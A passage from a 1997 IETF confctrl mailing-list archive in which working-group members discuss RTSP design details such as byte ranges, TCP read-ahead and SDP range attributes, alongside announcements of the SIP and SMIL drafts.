information? If not, positioning gets hard. Do you include any RTP
encapsulation information? What about non-file-based storage, e.g., as
frame objects in a database? If you position by 'seek', do you transmit
ADUs or just plain byte ranges?).

Unless there is a clearly defined need that cannot be addressed in any
other way, I would stay away from this for now.

Henning

From confctrl-owner  Thu Oct 30 13:05:22 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA00500
	for confctrl-outgoing; Thu, 30 Oct 1997 13:05:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA00495
	for <confctrl@zephyr.isi.edu>; Thu, 30 Oct 1997 13:05:20 -0800 (PST)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA02337
	for <confctrl@ISI.EDU>; Thu, 30 Oct 1997 13:05:12 -0800 (PST)
Received: from scv3.apple.com (A17-128-100-121.apple.com [17.128.100.121])
	by mail-out1.apple.com (8.8.5/8.8.5) with ESMTP id MAA11872
	for <confctrl@ISI.EDU>; Thu, 30 Oct 1997 12:42:42 -0800
Received: from [17.255.20.120] ([17.255.20.120])
	by scv3.apple.com (8.8.5/8.8.5) with ESMTP id MAA09282
	for <confctrl@ISI.EDU>; Thu, 30 Oct 1997 12:42:30 -0800
X-Sender: alagu@mail.apple.com
Message-Id: <v03020922b07e1df6ca84@[17.255.20.120]>
In-Reply-To: <3458B2A9.BB1DFBAD@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 30 Oct 1997 12:40:12 +0100
To: confctrl@ISI.EDU
From: Alagu Periyannan <alagu@apple.com>
Subject: TCP read ahead (was Re: RTSP open issue: range: bytes=
 specification)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 11:15 AM -0500 10/30/97, Henning Schulzrinne wrote:
>In the past, it has been suggested that Range: may also take a
>non-time-based specification, such as the byte range found in HTTP.
>
>The application that was brought up was that of a cache server: The
>cache server would "read ahead" at maximum (TCP) speed and buffer a
>finite amount of data for its client. This makes sense, as it decreases
>client delay and is more "network-friendly".
>

On a separate note, I really like this idea of read ahead with TCP.

I would be interested in using such a TCP read ahead scheme
in regular clients. It can be used to download media data from the
closest key frame up to the current frame for a play spurt,
before starting to render at the client.

This will provide a better user experience and be more bandwidth
friendly than what is possible with RTSP/RTP today.

With RTSP as it is defined today, good servers will back up
to the closest key frame for every stream and start sending
from there rather than at the current play time. The server
can send this "pre-start" data in two ways,

1) as fast as possible
2) in real time

Choice 2 can lead to bad user experience if the key frames are
far apart. Choice 1 will lead to bandwidth violation.

However, Choice 1 with TCP download of the "pre-start" data
will be "network friendly". But now we're getting into sending
the "pre-start" data over TCP and after that using RTP/UDP.

Is this workable within current RTSP spec.? Probably not.







---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From confctrl-owner  Thu Oct 30 15:15:19 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA06387
	for confctrl-outgoing; Thu, 30 Oct 1997 15:15:19 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA06381
	for <confctrl@zephyr.isi.edu>; Thu, 30 Oct 1997 15:15:15 -0800 (PST)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA10160
	for <confctrl@ISI.EDU>; Thu, 30 Oct 1997 15:15:14 -0800 (PST)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA30341
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Thu, 30 Oct 1997 15:19:56 -0800
Message-Id: <3.0.3.32.19971030151512.0126a848@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 30 Oct 1997 15:15:12 -0800
To: Alagu Periyannan <alagu@apple.com>, confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: Re: TCP read ahead (was Re: RTSP open issue: range: bytes=
  specification)
In-Reply-To: <v03020922b07e1df6ca84@[17.255.20.120]>
References: <3458B2A9.BB1DFBAD@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 12:40 PM 10/30/97 +0100, Alagu Periyannan wrote:
>With RTSP as it is defined today, good servers will back up
>to the closest key frame for every stream and start sending
>from there rather than at the current play time. The server
>can send this "pre-start" data in two ways,
>
>1) as fast as possible
>2) in real time
>
>Choice 2 can lead to bad user experience if the key frames are
>far apart. Choice 1 will lead to bandwidth violation.
>
>However, Choice 1 with TCP download of the "pre-start" data
>will be "network friendly". But now we're getting into sending
>the "pre-start" data over TCP and after that using RTP/UDP.
>
>Is this workable within current RTSP spec.? Probably not.

It is possible with the current spec, but it could be optimized in the
future (there are obviously fields missing, but I hope you get the idea):

SETUP rtsp://foo/bar RTSP/1.0
Transport: RTP/AVP/TCP;interleaved=0

PLAY rtsp://foo/bar RTSP/1.0
Range: npt=6-7
Speed: 255

SETUP rtsp://foo/bar RTSP/1.0
Transport: RTP/AVP/UDP;unicast;client_port=2020-2021

PLAY rtsp://foo/bar RTSP/1.0
Range: npt=7-

I'm handwaving out the teardown and everything else, but this should work.
The point is that we can handle this at the simplest level right up front.
If it turns out that everybody does this, then we can standardize a
shorthand for this.

Rob


---
Rob Lanphier (robla@real.com)    Voice: (206)674-2322   Fax: (206)674-2699
RealNetworks:  http://www.real.com
RTSP Info:     http://www.real.com/rtsp
Firewall Info: http://www.real.com/help/firewall  


From confctrl-owner  Fri Oct 31 00:54:25 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA17654
	for confctrl-outgoing; Fri, 31 Oct 1997 00:54:25 -0800 (PST)
Received: from quark.isi.edu (quark.isi.edu [128.9.208.208])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA17649
	for <confctrl@zephyr.isi.edu>; Fri, 31 Oct 1997 00:54:23 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by quark.isi.edu (8.8.7/8.8.6) with SMTP id AAA08972
	for <confctrl@ISI.EDU>; Fri, 31 Oct 1997 00:54:22 -0800 (PST)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.05666-0@bells.cs.ucl.ac.uk>; Fri, 31 Oct 1997 08:54:02 +0000
to: confctrl@ISI.EDU
Subject: Internet Telegraphy
Date: Fri, 31 Oct 1997 08:54:00 +0000
Message-ID: <1290.878288040@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



fed up with internet telephony, Irc and web trash wasting YOUR bandwidth

try our new Internet Telegraphy tool, IT (TM).

fully RTP compliant, using the latest in payload type techniques, and
with its own patent RTP header compression mode, sending only tyhe
Mark bit for "dit" and no bits at all for "dat", we can guarantee you
full internationalisation of the character set (everyone recognizes
"S.O.S" right?)

there are some teething problems still with jitter and wander, but we
are sure that you will find our system an invaluble adddition to your
aresenal...

IT will blow your mind...

 jon


From confctrl-owner  Wed Nov  5 09:35:37 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA17719
	for confctrl-outgoing; Wed, 5 Nov 1997 09:35:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA17714
	for <confctrl@zephyr.isi.edu>; Wed, 5 Nov 1997 09:35:35 -0800 (PST)
Received: from inf.ufrgs.br (caracol.inf.ufrgs.br [143.54.11.7])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA29492
	for <confctrl@isi.edu>; Wed, 5 Nov 1997 09:35:33 -0800 (PST)
Received: from onca.inf.ufrgs.br by inf.ufrgs.br (4.1/INF-UFRGS-941007)
	id AA06227; Wed, 5 Nov 97 16:19:45 EDT
Received: from localhost by onca.inf.ufrgs.br (SMI-8.6/SMI-SVR4)
	id PAA04775; Wed, 5 Nov 1997 15:20:43 +0300
Date: Wed, 5 Nov 1997 15:20:42 +0300 (GMT)
From: "Marcio D'Avila Scheibler" <mds@inf.ufrgs.br>
X-Sender: mds@onca
To: confctrl@ISI.EDU
Subject: Looking for protocol specifications
Message-Id: <Pine.GSO.3.94.971105150136.4724E-100000@onca>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hello.

I have to write a summary about the new protocolos that are
being developed (those related to conferences...)

Where can I find the internet-drafts (maybe already RFCs !!??)
for the following protocols from MMUSIC IETF Working Group ???

- SAP (Session Announcement Protocol)
- SCCP (Simple Conference COntrol Protocol)

I couldn't find references at MMUSIC workgroup's charter page.

Thanks in advance
=========================================================================
Marcio d'Avila Scheibler
=========================================================================


From confctrl-owner  Wed Nov  5 12:56:50 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA01879
	for confctrl-outgoing; Wed, 5 Nov 1997 12:56:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA01874
	for <confctrl@zephyr.isi.edu>; Wed, 5 Nov 1997 12:56:48 -0800 (PST)
Received: from vlsi.cs.caltech.edu (vlsi.cs.caltech.edu [131.215.131.129])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA15770
	for <confctrl@isi.edu>; Wed, 5 Nov 1997 12:56:04 -0800 (PST)
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA01854; Wed, 5 Nov 97 12:53:12 PST
Date: Wed, 5 Nov 97 12:53:12 PST
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9711052053.AA01854@vlsi.cs.caltech.edu>
To: mds@inf.ufrgs.br
Subject: Re: Looking for protocol specifications
Cc: schooler@cs.caltech.edu, confctrl@ISI.EDU
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Where can I find the internet-drafts (maybe already RFCs !!??)
>for the following protocols from MMUSIC IETF Working Group ???
>
>- SAP (Session Announcement Protocol)
>- SCCP (Simple Conference COntrol Protocol)

you can find these (expired) drafts at:

ftp://ftp.isi.edu/confctrl/docs

e.

From confctrl-owner  Fri Nov  7 04:06:00 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA22656
	for confctrl-outgoing; Fri, 7 Nov 1997 04:06:00 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA22651
	for <confctrl@zephyr.isi.edu>; Fri, 7 Nov 1997 04:05:58 -0800 (PST)
Received: from www45.inria.fr (root@www45.inria.fr [138.96.10.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA14580
	for <confctrl@isi.edu>; Fri, 7 Nov 1997 04:05:50 -0800 (PST)
Received: by www45.inria.fr (8.8.6/8.8.5) id MAA28013; Fri, 7 Nov 1997 12:07:13 +0100 (MET)
Message-Id: <199711071107.MAA28013@www45.inria.fr>
To: confctrl@ISI.EDU
From: Philipp Hoschka <hoschka@w3.org>
Subject: W3C draft "Synchronized Multimedia Integration Language"
Date: Fri, 07 Nov 1997 12:07:13 +0100
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The first draft of a language for describing synchronized multimedia
presentations is available at

http://www.w3.org/TR/WD-smil

This draft was produced by the W3C working group on Synchronized Multimedia.
Comments/Feedback from people on this list are *very* welcome. They should be sent 
to www-multimedia@w3.org. 

>From the introduction:

"SMIL allows integrating a set of independent multimedia objects into a synchronized 
multimedia presentation. Using SMIL, presentations such as a slide show synchronized 
with audio comments or a video synchronized with a text stream can be described. 

A typical SMIL presentation has the following characteristics: 

      - The presentation is composed of several components that are accessible via a URL, 
        e.g. files stored on an http or rtsp server. 
      - The components have different media types, such as audio, video, image or text. 
      - The begin and end times of different components have to be synchronized with 
        events  in other components. For example, in a slide show, a particular slide 
        is displayed when the narrator in the audio starts talking about it. 
      - The user can control the presentation by using control buttons known from 
        video-recorders, such as stop, fast-forward and rewind. Additional functions are 
      "random access", i.e. the presentation can be started anywhere, and "slow motion", 
       i.e. the presentation is played slower than at its original speed. 
      - The user can follow hyper-links embedded in the presentation 

SMIL has been designed so that it is easy to author simple presentations with a text 
editor. The key to success for HTML was that attractive hypertext content could be 
created without requiring a sophisticated authoring tool. SMIL achieves the same for 
synchronized hypermedia." 


From confctrl-owner  Wed Nov 12 11:56:10 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA26289
	for confctrl-outgoing; Wed, 12 Nov 1997 11:56:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA26284
	for <confctrl@zephyr.isi.edu>; Wed, 12 Nov 1997 11:56:08 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA06375
	for <confctrl@isi.edu>; Wed, 12 Nov 1997 11:56:07 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id OAA19639 for <confctrl@isi.edu>; Wed, 12 Nov 1997 14:56:04 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id OAA06036 for <confctrl@isi.edu>; Wed, 12 Nov 1997 14:56:02 -0500 (EST)
Message-ID: <346A09D2.A53A4D1D@cs.columbia.edu>
Date: Wed, 12 Nov 1997 14:56:02 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.03 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: RTSP: SDP usage: change a=length: to a=range:
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Proposal:

Change the current

a=length:npt=<time>

to

a=range:npt=<start>-<stop>

Motivation:

The values can be used by the client to set the playable range (slider,
scale, whatever). This makes it very easy to create a set of SDP
descriptions for a single RTSP media object. Example: a recording on a
server for a whole conference session could be turned into a web page of
talks with a set of links like

<a href="talk1.sdp">First talk</a>
<a href="talk2.sdp">Second talk</a>

where talk1.sdp would have

a=range:clock=19971105T1600-19971105T1620

and talk2.sdp

a=range:clock=19971105T1622-19971105T1650

The server doesn't need to know about "talks" at all. (Note that the t=
parameter does not cover this, as it describes the availability of the
recorded presentation, not the time when the talk was recorded.)
-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Nov 13 01:17:44 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA22155
	for confctrl-outgoing; Thu, 13 Nov 1997 01:17:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA22150
	for <confctrl@zephyr.isi.edu>; Thu, 13 Nov 1997 01:17:43 -0800 (PST)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id BAA08317
	for <confctrl@isi.edu>; Thu, 13 Nov 1997 01:17:41 -0800 (PST)
Received: from robla.dev.prognet.com (mg-20425426-67.ricochet.net) by murrow.prognet.com with SMTP id AA10740
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 13 Nov 1997 01:23:57 -0800
Message-Id: <3.0.3.32.19971113011737.01057668@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 13 Nov 1997 01:17:37 -0800
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: RTSP: OPTIONS method: S->C
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Proposal:

Change the current OPTIONS method to something that MAY be sent from server
to client.

Motivation:

*  Server may wish to query client for methods that the server may request
from the client.
*  Client already MUST be prepared to accept inbound methods
*  No reason to prohibit this.

Rob

---
Rob Lanphier (robla@real.com)    Voice: (206)674-2322   Fax: (206)674-2699
RealNetworks:  http://www.real.com
RTSP Info:     http://www.real.com/rtsp
Firewall Info: http://www.real.com/help/firewall  


From confctrl-owner  Fri Nov 14 08:32:40 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA20931
	for confctrl-outgoing; Fri, 14 Nov 1997 08:32:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA20925
	for <confctrl@zephyr.isi.edu>; Fri, 14 Nov 1997 08:32:38 -0800 (PST)
Received: from ietf.org (ietf.org [132.151.1.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA05058
	for <confctrl@isi.edu>; Fri, 14 Nov 1997 08:32:37 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.8.7/8.8.7a) with ESMTP id LAA25361;
	Fri, 14 Nov 1997 11:32:33 -0500 (EST)
Message-Id: <199711141632.LAA25361@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-04.txt,.ps
Date: Fri, 14 Nov 1997 11:32:32 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SIP: Session Initiation Protocol
	Author(s)	: E. Schooler, H. Schulzrinne, M. Handley
	Filename	: draft-ietf-mmusic-sip-04.txt,.ps
	Pages		: 83
	Date		: 13-Nov-97
	
         Many styles of multimedia conferencing are likely to co-
         exist on the Internet, and many of them share the need to
         invite users to participate. The Session Initiation
         Protocol (SIP) is a simple protocol designed to enable
         the invitation of users to participate in such multimedia
         sessions. It is not tied to any specific conference
         control scheme. In particular, it aims to enable user
         mobility by relaying and redirecting invitations to a
         user's current location.
 
         This document is a product of the Multi-party Multimedia
         Session Control (MMUSIC) working group of the Internet
         Engineering Task Force.  Comments are solicited and
         should be addressed to the working group's mailing list
         at confctrl@isi.edu and/or the authors.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-04.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sip-04.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-04.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID:	<19971113121143.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-04.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-04.txt";
	site="ds.internic.net";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19971113121143.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri Nov 14 08:34:29 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA21022
	for confctrl-outgoing; Fri, 14 Nov 1997 08:34:29 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA21017
	for <confctrl@zephyr.isi.edu>; Fri, 14 Nov 1997 08:34:28 -0800 (PST)
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA05156
	for <confctrl@ISI.EDU>; Fri, 14 Nov 1997 08:34:27 -0800 (PST)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA29246
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Fri, 14 Nov 1997 08:40:50 -0800
Message-Id: <3.0.3.32.19971114083425.014f3464@mail.real.com>
X-Sender: robla@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Fri, 14 Nov 1997 08:34:25 -0800
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: Reminder: Last day for WG comments: Nov. 18
In-Reply-To: <346A09D2.A53A4D1D@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

If there's any truck-sized holes in the draft, or if there are spelling
errors, you have until Nov. 18 (Tuesday) to point them out, so that we can
make a submission prior to the Nov. 21 deadline.

The only substantive changes to the doc will be about the two issues that
Henning and I mailed about:

*  Change a=length: to a=range:
*  Allow for S->C OPTIONS

See previous emails for details on these.

Thanks
Rob
---
Rob Lanphier (robla@real.com)    Voice: (206)674-2322   Fax: (206)674-2699
RealNetworks:  http://www.real.com
RTSP Info:     http://www.real.com/rtsp
Firewall Info: http://www.real.com/help/firewall  


From confctrl-owner  Sat Nov 15 03:17:16 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA26610
	for confctrl-outgoing; Sat, 15 Nov 1997 03:17:16 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA26605
	for <confctrl@zephyr.isi.edu>; Sat, 15 Nov 1997 03:17:15 -0800 (PST)
Received: from pbinfo (uni-paderborn.de [131.234.22.30])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA27905
	for <confctrl@isi.edu>; Sat, 15 Nov 1997 03:17:13 -0800 (PST)
From: cortes@uni-paderborn.de
Received: from alme ([131.234.16.16] EHLO sai_sun4m.uni-paderborn.de ident: IDENT-NONSENSE [port 33699]) by pbinfo.uni-paderborn.de with ESMTP id <52263-20822>; Sat, 15 Nov 1997 12:17:05 +0100
Received: (from cortes@localhost) by sai_sun4m.uni-paderborn.de (8.7.3/8.7.3) id MAA06137; Sat, 15 Nov 1997 12:16:58 +0100 (MET)
Message-Id: <199711151116.MAA06137@sai_sun4m.uni-paderborn.de>
Subject: Re: Reminder: Last day for WG comments: Nov. 18
In-Reply-To: <3.0.3.32.19971114083425.014f3464@mail.real.com> from Rob Lanphier at "Nov 14, 97 08:34:25 am"
To: robla@real.com (Rob Lanphier)
Date: Sat, 15 Nov 1997 12:16:56 +0100 (MET)
Cc: confctrl@ISI.EDU
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



> If there's any truck-sized holes in the draft, or if there are spelling
> errors, you have until Nov. 18 (Tuesday) to point them out, so that we can
> make a submission prior to the Nov. 21 deadline.
> 
> The only substantive changes to the doc will be about the two issues that
> Henning and I mailed about:
> 
> *  Change a=length: to a=range:
> *  Allow for S->C OPTIONS


	Just a comment and a suggestion about a possible new header.

	I'm afraid I've been lately too busy to follow the development
of the draft so closely as I'd like, so, if you already discussed this,
forgive me.

	I think it's fine not to need the concept of 'connection' for
the RTSP protocol and to be able to control session via different
TCP connections.
	 Nevertheless, many times, the clients are implemented
to use only one TCP connection for RTSP; at least the very simple ones,
which often finish abruptly (because implementation errors when they are
still beta versions or ar being developed; because they are too simple to
recover from the lost of the TCP connection; or because the are so simple
that the user, having difficulties to exit them easily, prefers to kill
them), leaving the RTSP server with a number of open sessions which he
will have to 'abort' sometime later (using some algorithm to determine when
the sessions can be considered 'orphan').

	I had this particular problem (well, still have :-() when
developing a new client for our server, and decided to use an
extension header that I called 'Lifetime:', that can be sent with the
SETUP method as "Lifetime: connection" to inform the server that, if
the session wasn't teardowned when the connection is closed, he can
abort it.
	I know this header doesn't mean any 'big improvement' in the
protocol; but I find it quite useful, in particular for the case of
clients that are still being developed and which may 'crash' before
having teardowned their open sessions.

	I'll keep using it anyway as extension header in our server, but
I thought you might find it useful enough to include it in the draft as
RTSP header (probably with a better name and a better explanation).

	Thanks for your attention.



-------------------------------------------------------------------
Francisco Cortes		office: F2.323
University of Paderborn		Tel.:   +49 5251 60 6704
Dept. of Math. & Comp. Sci.	Fax.:   +49 5251 60 6697
Fuerstenallee 11		email:  cortes@uni-paderborn.de
D-33102 Paderborn, Germany
http://www.uni-paderborn.de/fachbereich/AG/monien/PERSONAL/CORTES/
===
PGP fingerprint  69 B9 77 98 D7 6A 8F CF  32 78 43 85 4E 7C E0 96
-------------------------------------------------------------------

From confctrl-owner  Sat Nov 15 08:41:40 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA28565
	for confctrl-outgoing; Sat, 15 Nov 1997 08:41:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA28558
	for <confctrl@zephyr.isi.edu>; Sat, 15 Nov 1997 08:41:38 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01386
	for <confctrl@ISI.EDU>; Sat, 15 Nov 1997 08:41:37 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA26180; Sat, 15 Nov 1997 11:41:35 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA16270; Sat, 15 Nov 1997 11:41:32 -0500 (EST)
Message-ID: <346DD0BC.D4AD4DB0@cs.columbia.edu>
Date: Sat, 15 Nov 1997 11:41:32 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.03 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: cortes@uni-paderborn.de
CC: Rob Lanphier <robla@real.com>, confctrl@ISI.EDU
Subject: Re: Reminder: Last day for WG comments: Nov. 18
References: <199711151116.MAA06137@sai_sun4m.uni-paderborn.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

cortes@uni-paderborn.de wrote:
> 

> 
>         I had this particular problem (well, still have :-() when
> developing a new client for our server, and decided to use an
> extension header that I called 'Lifetime:', that can be sent with the
> SETUP method as "Lifetime: connection" to inform the server that, if
> the session wasn't teardowned when the connection is closed, he can
> abort it.

See the timeout parameter for the Session: header.

From confctrl-owner  Sun Nov 16 09:09:44 1997
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA11306
	for confctrl-outgoing; Sun, 16 Nov 1997 09:09:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA11301
	for <confctrl@zephyr.isi.edu>; Sun, 16 Nov 1997 09:09:43 -0800 (PST)
Received: from pbinfo (uni-paderborn.de [131.234.22.30])
